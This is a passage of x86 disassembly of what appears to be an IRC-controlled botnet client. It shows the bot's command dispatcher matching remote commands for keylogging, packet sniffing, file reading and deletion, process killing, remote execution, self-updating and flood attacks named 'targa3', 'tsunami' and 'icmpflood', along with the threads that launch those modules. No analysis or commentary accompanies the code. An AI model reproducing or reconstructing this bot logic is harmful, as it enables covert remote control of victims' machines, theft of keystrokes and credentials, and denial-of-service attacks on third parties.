		push	eax
		lea	eax, [ebp-2C0h]
		push	dword ptr [ebp+esi-88h]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41BF36
		lea	eax, [ebp-2C0h]
		push	eax
		call	sub_417D85
		add	esp, 14h


loc_405791:				; CODE XREF: .nsp0:0040575Cj
					; .nsp0:00405767j
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40624A
		mov	edi, offset dword_4DA28C


loc_4057AD:				; CODE XREF: .nsp0:004057CCj
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057C0
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057C0
		push	eax
		call	dword_4D1288	; closesocket


loc_4057C0:				; CODE XREF: .nsp0:004057B1j
					; .nsp0:004057B7j
		add	edi, 210h
		cmp	edi, offset dword_4E09AC
		jl	short loc_4057AD
		cmp	[ebp-8], ebx
		jnz	loc_40624A
		push	ebx
		push	dword ptr [ebp-4]
		push	offset unk_432028
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h
		jmp	loc_40624A
; ---------------------------------------------------------------------------


loc_4057F6:				; CODE XREF: .nsp0:00404CA5j
		mov	edi, [ebp+10h]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096C8
		push	edi
		push	offset aN	; "n"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096C8
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096A4
		push	edi
		push	offset aJ	; "j"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096A4
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409687
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409687
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964E
		push	edi
		push	offset aR	; "r"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964E
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40954E
		push	edi
		push	offset aK	; "k"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40954E
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094A0
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094A0
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409451
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409451
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409438
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409438
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40940A
		push	edi
		push	offset aO	; "o"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40940A
		push	edi
		push	offset aServer	; "server"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093E1
		push	edi
		push	offset aSe	; "se"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093E1
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409376
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409376
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409346
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409346
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E7
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E7
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092AF
		push	edi
		push	offset aDel	; "del"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092AF
		push	edi
		push	offset aGet	; "get"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091CC
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091CC
		push	edi
		push	offset aList	; "list"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091AD
		push	edi
		push	offset aLi	; "li"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091AD
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090BC
		push	edi
		push	offset aV	; "v"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090BC
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409046
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409046
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FF0
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FF0
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F65
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F65
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C90
		push	dword ptr [ebp+18h]
		push	offset aOn	; "on"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C56
		push	20h
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_405B83
		push	offset dword_431F58
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405B83:				; CODE XREF: .nsp0:00405B77j
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-88h]
		mov	[ebp-0EC4h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0E3Ch], eax
		mov	eax, [ebp-8]
		cmp	esi, ebx
		mov	[ebp-0E38h], eax
		jnz	short loc_405BC5
		mov	esi, offset aM_0 ; "#M"
		push	offset byte_443398
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BC5
		mov	esi, [ebp-88h]


loc_405BC5:				; CODE XREF: .nsp0:00405BA7j
					; .nsp0:00405BBDj
		push	esi
		lea	eax, [ebp-0EC0h]
		push	80h
		push	eax
		call	sub_41C030
		lea	eax, [ebp-2C0h]
		push	offset dword_431F28
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	20h
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-0E40h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0EC4h]
		push	ebx
		push	eax
		push	offset loc_4125D7
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-0E40h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_405C45


loc_405C2F:				; CODE XREF: .nsp0:00405C43j
		cmp	[ebp-0E34h], ebx
		jnz	loc_40820E
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_405C2F
; ---------------------------------------------------------------------------


loc_405C45:				; CODE XREF: .nsp0:00405C2Dj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_431EEC
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: .nsp0:00405B67j
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40820E
		push	ebx
		push	20h
		call	sub_40B209
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C86
		push	eax
		push	offset dword_431EB0
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405C86:				; CODE XREF: .nsp0:00405C79j
		push	offset dword_431E84
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405C90:				; CODE XREF: .nsp0:00405B50j
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DDF
		push	dword ptr [ebp+18h]
		push	offset aOn	; "on"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DA5
		push	21h
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_405CD2
		push	offset unk_431E5C
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405CD2:				; CODE XREF: .nsp0:00405CC6j
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-88h]
		mov	[ebp-0FECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-0F64h], eax
		mov	eax, [ebp-8]
		cmp	esi, ebx
		mov	[ebp-0F60h], eax
		jnz	short loc_405D14
		mov	esi, offset aM_0 ; "#M"
		push	offset byte_443398
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D14
		mov	esi, [ebp-88h]


loc_405D14:				; CODE XREF: .nsp0:00405CF6j
					; .nsp0:00405D0Cj
		push	esi
		lea	eax, [ebp-0FE8h]
		push	80h
		push	eax
		call	sub_41C030
		lea	eax, [ebp-2C0h]
		push	offset unk_431E2C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	21h
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-0F68h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0FECh]
		push	ebx
		push	eax
		push	offset loc_412C62
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-0F68h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_405D94


loc_405D7E:				; CODE XREF: .nsp0:00405D92j
		cmp	[ebp-0F5Ch], ebx
		jnz	loc_40820E
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_405D7E
; ---------------------------------------------------------------------------


loc_405D94:				; CODE XREF: .nsp0:00405D7Cj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431DF0
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405DA5:				; CODE XREF: .nsp0:00405CB6j
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40820E
		push	ebx
		push	21h
		call	sub_40B209
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DD5
		push	eax
		push	offset unk_431DB0
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405DD5:				; CODE XREF: .nsp0:00405DC8j
		push	offset unk_431D80
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405DDF:				; CODE XREF: .nsp0:00405C9Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405F59
		push	dword ptr [ebp+18h]
		push	offset aOn	; "on"
		call	sub_41C710
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405E55
		push	dword ptr [ebp+18h]
		push	edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E55
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40820E
		push	ebx
		push	23h
		call	sub_40B209
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E4B
		push	eax
		push	offset dword_431D3C
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405E4B:				; CODE XREF: .nsp0:00405E3Ej
		push	offset dword_431D10
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405E55:				; CODE XREF: .nsp0:00405E0Aj
					; .nsp0:00405E19j
		push	23h
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_405E6B
		push	offset dword_431CF0
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405E6B:				; CODE XREF: .nsp0:00405E5Fj
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+18h]
		mov	[ebp-0C5Ch], eax
		mov	eax, [ebp-4]
		push	edi
		mov	[ebp-0BD4h], eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E98
		mov	dword ptr [ebp-0BD0h], 1
		jmp	short loc_405EA1
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: .nsp0:00405E8Aj
		mov	eax, [ebp-8]
		mov	[ebp-0BD0h], eax


loc_405EA1:				; CODE XREF: .nsp0:00405E96j
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		jnz	short loc_405EC8
		mov	esi, offset aM	; "#M"
		push	offset byte_443398
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405EC8
		mov	esi, [ebp-88h]


loc_405EC8:				; CODE XREF: .nsp0:00405EAAj
					; .nsp0:00405EC0j
		push	esi
		lea	eax, [ebp-0C54h]
		push	80h
		push	eax
		call	sub_41C030
		lea	eax, [ebp-2C0h]
		push	offset dword_431CCC
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	23h
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-0C58h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0C5Ch]
		push	ebx
		push	eax
		push	offset loc_4122F6
		push	ebx
		push	ebx
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-0C58h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_444134[ecx], eax
		jz	short loc_405F48


loc_405F32:				; CODE XREF: .nsp0:00405F46j
		cmp	[ebp-0BCCh], ebx
		jnz	loc_40820E
		push	32h
		call	dword_427064	; Sleep
		jmp	short loc_405F32
; ---------------------------------------------------------------------------


loc_405F48:				; CODE XREF: .nsp0:00405F30j
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_431C90
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405F59:				; CODE XREF: .nsp0:00405DEEj
		push	edi
		push	offset aNet	; "net"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4061F6
		cmp	dword_4D12C0, ebx
		jz	short loc_405F88
		cmp	dword_4D12E8, ebx
		jz	short loc_405F88
		push	offset unk_431C58
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_405F88:				; CODE XREF: .nsp0:00405F74j
					; .nsp0:00405F7Cj
		cmp	[ebp-0Ch], ebx
		jz	loc_406C65
		mov	edi, [ebp+esi-88h]
		mov	[ebp+8], ebx
		cmp	edi, ebx
		jz	short loc_405FAD
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_405FAD:				; CODE XREF: .nsp0:00405F9Dj
		push	dword ptr [ebp+18h]
		push	offset aStart	; "start"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406014
		cmp	edi, ebx
		jz	short loc_405FE8
		push	dword ptr [ebp+8]
		push	3


loc_405FC9:				; CODE XREF: .nsp0:0040602Cj
					; .nsp0:00406046j ...
		call	sub_418F5A
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		add	esp, 14h
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_405FE8:				; CODE XREF: .nsp0:00405FC2j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_419201
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40600A
		push	offset unk_431C34
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_40600A:				; CODE XREF: .nsp0:00405FFEj
		push	offset unk_431C14
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_406014:				; CODE XREF: .nsp0:00405FBEj
		push	dword ptr [ebp+18h]
		push	offset aStop	; "stop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40602E
		push	dword ptr [ebp+8]
		push	4
		jmp	short loc_405FC9
; ---------------------------------------------------------------------------


loc_40602E:				; CODE XREF: .nsp0:00406025j
		push	dword ptr [ebp+18h]
		push	offset aPause	; "pause"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406048
		push	dword ptr [ebp+8]
		push	5
		jmp	short loc_405FC9
; ---------------------------------------------------------------------------


loc_406048:				; CODE XREF: .nsp0:0040603Fj
		push	dword ptr [ebp+18h]
		push	offset aContinue ; "continue"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406065
		push	dword ptr [ebp+8]
		push	6
		jmp	loc_405FC9
; ---------------------------------------------------------------------------


loc_406065:				; CODE XREF: .nsp0:00406059j
		push	dword ptr [ebp+18h]
		push	offset aDelete	; "delete"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406082
		push	dword ptr [ebp+8]
		push	1
		jmp	loc_405FC9
; ---------------------------------------------------------------------------


loc_406082:				; CODE XREF: .nsp0:00406076j
		push	dword ptr [ebp+18h]
		push	offset aShare	; "share"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060FC
		cmp	edi, ebx
		jz	short loc_4060CF
		cmp	[ebp-8FCh], bl
		jz	short loc_4060A7
		push	ebx
		push	edi
		push	1
		jmp	short loc_4060B0
; ---------------------------------------------------------------------------


loc_4060A7:				; CODE XREF: .nsp0:0040609Fj
		push	dword ptr [ebp+esi-84h]
		push	edi
		push	ebx


loc_4060B0:				; CODE XREF: .nsp0:004060A5j
		call	sub_41933E
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		add	esp, 18h
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_4060CF:				; CODE XREF: .nsp0:00406097j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_419533
		add	esp, 10h
		test	eax, eax
		jz	short loc_4060F2
		push	offset unk_431BD8
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4060F2:				; CODE XREF: .nsp0:004060E6j
		push	offset unk_431BB8
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4060FC:				; CODE XREF: .nsp0:00406093j
		push	dword ptr [ebp+18h]
		push	offset aUser	; "user"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp-8FCh], bl
		jz	short loc_406131
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	edi
		push	1
		jmp	short loc_406151
; ---------------------------------------------------------------------------


loc_406131:				; CODE XREF: .nsp0:0040611Dj
		push	dword ptr [ebp-4]
		mov	esi, [ebp+esi-84h]
		cmp	esi, ebx
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		jz	short loc_40614D
		push	esi
		push	edi
		push	ebx
		jmp	short loc_406151
; ---------------------------------------------------------------------------


loc_40614D:				; CODE XREF: .nsp0:00406146j
		push	ebx
		push	edi
		push	2


loc_406151:				; CODE XREF: .nsp0:0040612Fj
					; .nsp0:0040614Bj
		call	sub_419654
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		add	esp, 24h
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: .nsp0:00406115j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_419B68
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_431B90
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: .nsp0:00406187j
		push	offset unk_431B70
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: .nsp0:0040610Dj
		push	dword ptr [ebp+18h]
		push	offset aSend	; "send"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4061EC
		cmp	edi, ebx
		jz	short loc_4061E2
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	loc_419E1C
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_4061E2:				; CODE XREF: .nsp0:004061B2j
		push	offset unk_431B44
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4061EC:				; CODE XREF: .nsp0:004061AEj
		push	offset unk_431B28
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4061F6:				; CODE XREF: .nsp0:00405F68j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D3A
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D3A
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C4C
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C4C


loc_40624A:				; CODE XREF: .nsp0:004057A2j
					; .nsp0:004057D1j ...
		mov	edi, [ebp+esi-88h]
		cmp	edi, ebx
		mov	[ebp+28h], edi
		jz	loc_401D6C
		push	dword ptr [ebp+10h]
		push	offset aKilllog	; "killlog"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C32
		push	dword ptr [ebp+10h]
		push	offset aKl	; "kl"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C32
		push	dword ptr [ebp+10h]
		push	offset aAddalias ; "addalias"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF1
		push	dword ptr [ebp+10h]
		push	offset aAa	; "aa"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF1
		push	dword ptr [ebp+10h]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B97
		push	dword ptr [ebp+10h]
		push	offset dword_4321D4
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B97
		push	dword ptr [ebp+10h]
		push	offset aAction	; "action"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B25
		push	dword ptr [ebp+10h]
		push	offset aA_0	; "a"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B25
		push	dword ptr [ebp+10h]
		push	offset aCycle	; "cycle"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AC1
		push	dword ptr [ebp+10h]
		push	offset aCy	; "cy"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AC1
		push	dword ptr [ebp+10h]
		push	offset aMode	; "mode"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A83
		push	dword ptr [ebp+10h]
		push	offset aM_1	; "m"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A83
		push	dword ptr [ebp+10h]
		push	offset aC_raw	; "c_raw"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A17
		push	dword ptr [ebp+10h]
		push	offset aC_r	; "c_r"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A17
		push	dword ptr [ebp+10h]
		push	offset aC_mode	; "c_mode"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408994
		push	dword ptr [ebp+10h]
		push	offset aC_m	; "c_m"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408994
		push	dword ptr [ebp+10h]
		push	offset aC_nick	; "c_nick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408927
		push	dword ptr [ebp+10h]
		push	offset aC_n	; "c_n"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408927
		push	dword ptr [ebp+10h]
		push	offset aC_join	; "c_join"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408901
		push	dword ptr [ebp+10h]
		push	offset aC_j	; "c_j"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408901
		push	dword ptr [ebp+10h]
		push	offset aC_part	; "c_part"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40889D
		push	dword ptr [ebp+10h]
		push	offset aC_p	; "c_p"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40889D
		push	dword ptr [ebp+10h]
		push	offset aTarga3	; "targa3"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087CB
		push	dword ptr [ebp+10h]
		push	offset aT3	; "t3"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087CB
		push	dword ptr [ebp+10h]
		push	offset aTsunami	; "tsunami"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086D3
		push	dword ptr [ebp+10h]
		push	offset aTsn	; "tsn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086D3
		push	dword ptr [ebp+10h]
		push	offset aRepeat	; "repeat"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085FF
		push	dword ptr [ebp+10h]
		push	offset aRp	; "rp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085FF
		push	dword ptr [ebp+10h]
		push	offset aDelay	; "delay"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408562
		push	dword ptr [ebp+10h]
		push	offset aDe	; "de"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408562
		push	dword ptr [ebp+10h]
		push	offset aUpdate	; "update"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083D7
		push	dword ptr [ebp+10h]
		push	offset aU11p	; "u11p"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083D7
		push	dword ptr [ebp+10h]
		push	offset aExecute	; "execute"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408344
		push	dword ptr [ebp+10h]
		push	offset aE	; "e"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408344
		push	dword ptr [ebp+10h]
		push	offset aFindfile ; "findfile"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408238
		push	dword ptr [ebp+10h]
		push	offset aFf	; "ff"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408238
		push	dword ptr [ebp+10h]
		push	offset aRename	; "rename"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081C2
		push	dword ptr [ebp+10h]
		push	offset aMv	; "mv"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081C2
		push	dword ptr [ebp+10h]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080CB
		push	dword ptr [ebp+10h]
		push	offset aIcmp	; "icmp"
		call	sub_41C710
